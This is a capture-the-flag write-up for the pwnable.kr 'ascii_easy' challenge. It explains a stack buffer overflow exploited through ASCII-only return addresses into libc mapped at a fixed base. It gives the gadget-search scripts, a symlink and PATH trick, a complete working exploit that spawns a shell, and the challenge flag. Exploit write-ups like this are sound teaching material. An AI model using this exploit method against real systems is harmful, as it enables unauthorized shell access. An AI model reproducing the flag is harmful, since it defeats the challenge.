Back to writeups

pwnable.kr: ascii_easy writeup

📅 Jan 2026 🏆 33 points 📂 Rookiss
buffer overflow ASCII constraints libc exploitation

Challenge Description

We get the following hint:

We often need to make 'printable-ascii-only' exploit payload. You wanna try?

hint : you don't necessarily have to jump at the beggining of a function. try to land anywhere.

ssh ascii_easy@pwnable.kr -p2222

So first step is to connect:

ssh ascii_easy@pwnable.kr -p2222

In /home/ascii_easy we see:

ascii_easy
ascii_easy.c
flag
libc-2.15.so

The flag file does not have read permissions.

Source Code Analysis

Let's inspect the source code in ascii_easy.c:

#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>

#define BASE ((void*)0x5555e000)

int is_ascii(int c){
    if(c >= 0x20 && c <= 0x7f) return 1;
    return 0;
}

void vuln(char* p){
    char buf[20];
    strcpy(buf, p);
}

void main(int argc, char* argv[]){
    if(argc!=2){
        printf("usage: ascii_easy [ascii input]\n");
        return;
    }

    size_t len_file;
    struct stat st;
    int fd = open("/home/ascii_easy/libc-2.15.so", O_RDONLY);
    if( fstat(fd,&st) < 0){
        printf("open error. tell admin!\n");
        return;
    }

    len_file = st.st_size;
    if (mmap(BASE, len_file, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE, fd, 0) != BASE){
        printf("mmap error!. tell admin\n");
        return;
    }

    int i;
    for(i=0; i<strlen(argv[1]); i++){
        if( !is_ascii(argv[1][i]) ){
            printf("you have non-ascii byte!\n");
            return;
        }
    }

    printf("triggering bug...\n");
    setregid(getegid(), getegid());
    vuln(argv[1]);
}

The program:

void vuln(char* p){
    char buf[20];
    strcpy(buf, p);
}

This is a classic stack buffer overflow. We can control the return address and the instruction pointer.

Controlling EIP

To figure out how many bytes are needed to reach the return address, I ran the binary under gdb: gdb ./ascii_easy. Inside gdb (with pwndbg), I use the cyclic command to generate a unique pattern:

aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa

I gave it to the program as an argument, let it crash (because it would jump to an invalid address), and then inspect the instruction pointer (eip in 32-bit). At the crash, eip contained the value iaaa. This tells me exactly which part overwrote the return address, and helped me understand how long should the padding be.

In other words, the payload should look like:

[padding up to EIP][4-byte address we want to jump to]

or in our case:

aaaabaaacaaadaaaeaaafaaagaaahaaa<address>

Now the question is: which address do we want to jump to? Jumping to a location on the stack is likely impossible, because the addresses there start at 0xff..., and 0xff is not an ascii-printable character.

Why libc is Interesting

Here the mapped libc-2.15.so becomes interesting: the program mmaps this libc at a fixed base address BASE = 0x5555e000, which means we know in advance where every libc function and gadget lives in memory. Plus, the base address starts with twice the byte 0x55, which is ascii-printable, it's the letter 'U'.

As a sanity check, I tried jumping to an arbitrary ascii-only address inside libc:

aaaabaaacaaadaaaeaaafaaagaaahaaaAAVU // AAVU == 0x55564141

This successfully redirected execution into libc:

 ► 0x8049237  <vuln+42>    ret    <0x55564141>
    ↓
   0x55564141              add    byte ptr [eax + eax], cl

So jumping into libc with ascii-only addresses works.

Looking for Useful Functions

I used pwntools to find the addresses of interesting functions, and check if their address is ascii-printable.

from pwn import *

libc = ELF('libc-2.15.so')

BASE = 0x5555e000

def is_printable_ascii_byte(b):
    return 0x20 <= b <= 0x7f

def check_ascii_pointer(symbol_name):
    offset = libc.symbols[symbol_name]
    real_addr = BASE + offset

    addr_bytes = real_addr.to_bytes(4, "little")  # 32-bit address, little-endian
    ascii_ok = all(0x20 <= b <= 0x7e for b in addr_bytes)

	print(f'Function Name: {symbol_name}')
    print(f'Addr:          {hex(real_addr)}')
    print(f'Bytes:         {addr_bytes}')
    print(f'Is ascii:      {ascii_ok}')

check_ascii_pointer('system')
check_ascii_pointer('puts')
check_ascii_pointer('read')
check_ascii_pointer('write')
check_ascii_pointer('open')
check_ascii_pointer('execve')
check_ascii_pointer('execl')
check_ascii_pointer('execlp')
check_ascii_pointer('execle')
check_ascii_pointer('execv')
check_ascii_pointer('execvp')
check_ascii_pointer('execvpe')

I run the script and get, for example:

...
Function Name: execlp
Addr:          0x55616a80
Bytes:         b'\x80jaU'
Is ascii:      False

Function Name: execle
Addr:          0x55616780
Bytes:         b'\x80gaU'
Is ascii:      False

Function Name: execv
Addr:          0x55616740
Bytes:         b'@gaU'
Is ascii:      True

Function Name: execvp
Addr:          0x55616a40
Bytes:         b'@jaU'
Is ascii:      True
...

There are two functions that have an ascii address: execvp and execv. In addition, execlp and execle both have an "almost" ascii address: after checking, there are nop instructions leading to the function, allowing us to jump to an ascii address and slide from there to the function execution.

Trying execv / execvp

Jumping directly to execvp does reach the function, but it crashes early:

   0x55616a40              push   ebx
   0x55616a41              call   0x55687d73

   0x55616a46              add    ebx, 0xea5ae
   0x55616a4c              sub    esp, 0x18
   0x55616a4f              mov    eax, dword ptr [ebx - 0xd4]
   0x55616a55     crash -> mov    eax, dword ptr [eax]
   0x55616a57              mov    dword ptr [esp + 8], eax
   0x55616a5b              mov    eax, dword ptr [esp + 0x24]

Because libc is manually mmap'd without going through the dynamic linker, the memory layout doesn't seem to be properly initialized. When execvp (or any other exec function) tries to access global data through the GOT at the beginning of the function, it reads garbage instead of valid pointers.

I verified this in GDB at the crash point:

►    0x55616a55     crash -> mov    eax, dword ptr [eax]

(gdb) x/s $ebx - 0xd4
0x55700f20:     ".hash"

The GOT entry contains the string ".hash" (ELF metadata) instead of a relocated address. When the function tries to dereference this as a pointer, it crashes.

I tried skipping instructions and landing deeper inside the function, but the crashes persisted. The same happened with execv, execlp and execle.

At this point, jumping directly to exec-family entry points doesn't seem possible.


Failing Attempt #1: Ascii-only ROP

The hint mentions that we don't necessarily have to jump to the beginning of a function, which immediately made me think about ROP. ROP (Return-Oriented Programming) works by reusing small instruction sequences ("gadgets") that already exist in memory and end with a return statement ret. In theory, that would allow me to build a chain that eventually executes something like execve("/bin/sh").

The catch in this challenge is the ascii-only constraint: every single address in the ROP chain must consist of printable ascii bytes. This drastically reduces the usable gadget set compared to a typical ROP exploit.

My approach was:

  1. Craft a chain of gadgets using Ropper, to get the idea of the order of the gadgets.
  2. Use pwntools to find all gadgets in libc-2.15.so.
  3. Add the fixed base address (0x5555e000) to each gadget offset.
  4. Keep only gadgets whose runtime address is ascii-only.
  5. Use these gadgets to build a chain similar to what Ropper found.

I wrote a script for that:

from pwn import *

base = 0x5555e000
libc = ELF('libc-2.15.so')
rop = ROP(libc)

def ascii_only(addr):
    bs = p32(addr)          # 32-bit little-endian
    return all(0x20 <= b <= 0x7f for b in bs)

for offset, gadget in rop.gadgets.items():
    gadget_addr = base + offset
    if ascii_only(gadget_addr):
        print('found an ascii gadget!')
        print(hex(gadget_addr))
        print(gadget.insns)

This found some usable gadgets, for example:

0x5557506e ['pop edi', 'pop ebp', 'ret']
0x555e5132 ['pop edi', 'pop ebx', 'ret']
...

In practice, the gadget set was very limited. Most ascii-only gadgets were not clean single-register gadgets, making it hard to build a chain.

At this point, ROP felt like the wrong tool for this challenge, especially under the ascii-only constraint, so I decided to drop it for the time being.

Failed Attempt #2: Using envp

I started looking for other attacker-controlled inputs. While looking at the stack, I noticed the implicit envp parameter passed to main, which is placed on the stack and isn't checked for ascii-printable characters. This meant that I could put shellcode in an environment variable and jump to it. However, there were two main drawbacks:

At this point I was left with three possible (or not) attack vectors:

  1. Stack: writable, not executable, not ascii-printable.
  2. Code segment: executable, but not writable and not ascii-printable.
  3. Mapped libc region: executable, writable, and ascii-printable, still the best option.

Calling execve

Instead of jumping directly to exec* family functions, I tried a different approach: find instructions that call execve, get the address of those calls, and check if any are ascii-printable.

First, I found execve's offset in libc and searched for all call instructions targeting it:

objdump -d libc-2.15.so | grep -i b85e0

Output:

b86c4:       e8 17 ff ff ff          call   b85e0 <execve@@GLIBC_2.0>
b876a:       e8 71 fe ff ff          call   b85e0 <execve@@GLIBC_2.0>
b8802:       e8 d9 fd ff ff          call   b85e0 <execve@@GLIBC_2.0>
...

Now I need to check which of these call sites have ascii-printable addresses when mapped at 0x5555e000.

I wrote a script to scan for all call execve instructions and filter for ascii-only addresses:

from pwn import *
import struct


libc = ELF('libc-2.15.so')

BASE = 0x5555e000
TARGET = 0xb85e0


def check_ascii_pointer(addr):
    real_addr = BASE + addr

    addr_bytes = real_addr.to_bytes(4, "little")
    return all(0x20 <= b <= 0x7e for b in addr_bytes)


def find_ascii_execve():
    text = libc.get_section_by_name('.text')
    data = libc.read(text.header.sh_addr, text.header.sh_size)
    text_base = text.header.sh_addr

    for i in range(len(data) - 5):
        if data[i] == 0xE8:  # call with relative 32-bit offset
            call_target = struct.unpack("<i", data[i+1:i+5])[0]
            dest = text_base + i + 5 + call_target
            if dest == TARGET and check_ascii_pointer(text_base+i):
                print(f'found an ascii address for calling execve! {hex(BASE + text_base + i)}')


find_ascii_execve()

result:

found an ascii address for calling execve! 0x5561676a
found an ascii address for calling execve! 0x55616967
...

Perfect! I'll use 0x5561676a as my jump target.

Passing Parameters to execve

The signature of execve is:

int execve(const char *filename, char *const argv[], char *const envp[]);

When we jump to the call execve instruction, the function will read its three parameters from the stack. I need to provide:

  1. filename: pointer to the program to execute
  2. argv: pointer to an array of argument strings (NULL-terminated)
  3. envp: pointer to an array of environment variables (NULL-terminated)

Finding a Filename String

If the filename doesn't contain a /, execve searches for it in PATH. This means I don't need to provide the full path /bin/sh (which I did not find in an ascii printable address). Instead, I can:

  1. Create a symlink in /tmp pointing to /bin/sh
  2. Find a short ascii-only string in libc's data section
  3. Name my symlink after that string
  4. Add /tmp to my PATH

To do this, I need a pointer to a null-terminated string whose address is ascii-only and resides inside libc.

Searching through libc's memory in gdb:

x/30s 0x55617b00

I found the null-terminated string "SJA" at the address 0x55617b33, which is ascii only.

Now I create the symlink and update my PATH:

cd /tmp/exp
ln -s /bin/sh SJA
export PATH=/tmp/exp:$PATH

Finding NULL Pointers

For the argv and envp parameters, I can pass pointers to NULL values, which execve will interpret as empty arrays. Using gdb, I searched for NULL bytes at ascii printable addresses in the mapped libc region:

find 0x5555e000, 0x5555e000+0x7000, 0x00

I chose one found address which is ascii printable, 0x55564a3b (;JVU).

Stack layout after overflow:
 ┌─────────────────────────┐
 │ padding (32 bytes)      │ ← Fill up to saved EIP
 ├─────────────────────────┤
 │ 0x5561676a              │ ← Return address: call execve
 ├─────────────────────────┤
 │ 0x55617b33              │ ← arg1: filename pointer ("SJA")
 ├─────────────────────────┤
 │ 0x55564a3b              │ ← arg2: argv (points to NULL)
 ├─────────────────────────┤
 │ 0x55564a3b              │ ← arg3: envp (points to NULL)
 └─────────────────────────┘

When the call execve instruction executes, it will:

  1. Push a return address (which we don't care about since execve doesn't return)
  2. Jump to execve
  3. execve reads filename, argv, and envp from the stack
  4. execve executes our SJA symlink, giving us a shell

Here's the final exploit script:

from pwn import *

execve_calling_address = 0x5561676a
sja_address = 0x55617b33
null_address = 0x55564a3b

payload = b'aaaabaaacaaadaaaeaaafaaagaaahaaa'
payload += p32(execve_calling_address)
payload += p32(sja_address)
payload += p32(null_address)
payload += p32(null_address)
print(payload)

p = process(['/home/ascii_easy/ascii_easy', payload])

p.interactive()

Running it:

ascii_easy@ubuntu:/tmp/exp$ python3 exploit.py
b'aaaabaaacaaadaaaeaaafaaagaaahaaajgaU3{aU;JVU;JVU'
[+] Starting local process '/home/ascii_easy/ascii_easy': pid 516266
[*] Switching to interactive mode
triggering bug...
$ whoami
ascii_easy
$ cat /home/ascii_easy/flag
ASCII_armor_is_a_real_pain_to_d3al_with!

Hurray :)